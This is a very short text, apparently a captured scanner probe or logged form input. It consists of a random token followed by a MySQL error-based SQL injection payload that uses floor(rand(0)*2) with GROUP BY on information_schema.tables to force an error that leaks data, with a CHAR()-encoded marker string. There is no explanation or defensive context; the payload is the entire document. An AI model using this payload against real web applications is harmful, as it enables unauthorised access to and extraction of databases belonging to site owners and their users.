nZkkAbWB

"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(88),CHAR(111),CHAR(75),CHAR(71),CHAR(70),CHAR(104),CHAR(120),CHAR(109)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"